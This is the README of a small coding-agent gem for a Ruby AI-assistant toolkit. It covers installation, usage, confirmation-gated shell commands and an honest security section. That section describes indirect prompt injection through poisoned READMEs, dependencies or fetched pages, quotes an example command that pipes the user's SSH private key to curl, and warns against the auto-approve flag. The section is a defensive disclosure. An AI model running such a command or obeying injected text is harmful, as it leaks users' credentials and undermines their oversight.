pikuri-code

In-repo coding-agent gem for the pikuri AI-assistant toolkit, in the spirit of Claude Code, opencode, or pi-code — but kept deliberately small so you can read the sources in an evening.

Adds the shell-and-dev-loop layer on top of pikuri-workspace's filesystem tools:

  • Pikuri::Tool::Bash — runs commands via the Pikuri::Subprocess.spawn chokepoint with Confirmer gating.
  • bin/pikuri-code — the interactive coding-agent binary that wires file + shell + web tools into an agent rooted at the current working directory.

Wire-by-wire it's the same Pikuri::Agent as pikuri-chat (from pikuri-core), with a different system prompt and a different toolset: read, write, edit, grep, glob, bash, plus the web tools and the calculator. Sub-agents are enabled, and any Agent Skills discovered under .pikuri/skills, .claude/skills, or .agents/skills (project or home) get exposed to the model on demand.

Install

# Gemfile
gem 'pikuri-code'

Pulls in pikuri-core + pikuri-workspace transitively.

Usage

Run from the root of the repo you want it to work in:

cd ~/code/your-project
/path/to/pikuri/pikuri-code/bin/pikuri-code

You'll land in a REPL — type a request at the > prompt, hit enter, and the agent will start reading files, running commands, and editing code to satisfy it. Ctrl+D (or Ctrl+C) exits. You can also pass an initial message on the command line:

/path/to/pikuri/pikuri-code/bin/pikuri-code "find the failing spec and fix it"

The first time the agent wants to write a file or run a shell command, it prompts you on the terminal ((y/n)?). Read what it's about to do before you say yes. If an AGENTS.md or CLAUDE.md exists at the workspace root, it's prepended to the system prompt as project context.

Security: this is a tech demo, treat it accordingly

Do not run pikuri-code against a sensitive checkout on a machine that holds secrets you care about. It is a working demo of the coding-agent shape, not a hardened tool. The threat model has glaring holes:

  • No sandbox. The bash tool runs commands as your user, with your environment, your $HOME, your ~/.ssh, your shell history, your browser cookies, your cloud CLI credentials — all reachable. An LLM that's been prompt-injected (e.g. by a malicious README it scraped, a poisoned dependency, or a crafted file in the repo) can ask to run cat ~/.ssh/id_ed25519 | curl -X POST ... and the only thing standing between that and exfiltration is you reading the confirmation prompt carefully. The workspace lock applies to pikuri's own read/write/edit/grep/glob tools — it does not apply to bash, which can cat, cp, scp, curl anything the OS lets your user touch.
  • --yolo auto-approves everything. That flag exists for use inside a disposable container or VM. Running --yolo on your laptop is equivalent to handing the model a root shell. Don't.
  • Network tools fetch arbitrary URLs. web_search, web_scrape, and fetch are happy to pull whatever the model asks for, and the content of those pages then becomes part of the conversation — classic indirect prompt-injection surface.
  • No audit log of approved actions. Once you approve a bash command it runs; there's no separate record beyond your scrollback.

In short: run it inside a Docker container, a dev container, a VM, a fresh user account — anywhere you'd be fine with a stranger having a shell. The sandboxing story is a known gap and tracked as future work (see IDEAS.md); until it lands, assume the agent can do anything your user can do, and approve prompts on that basis.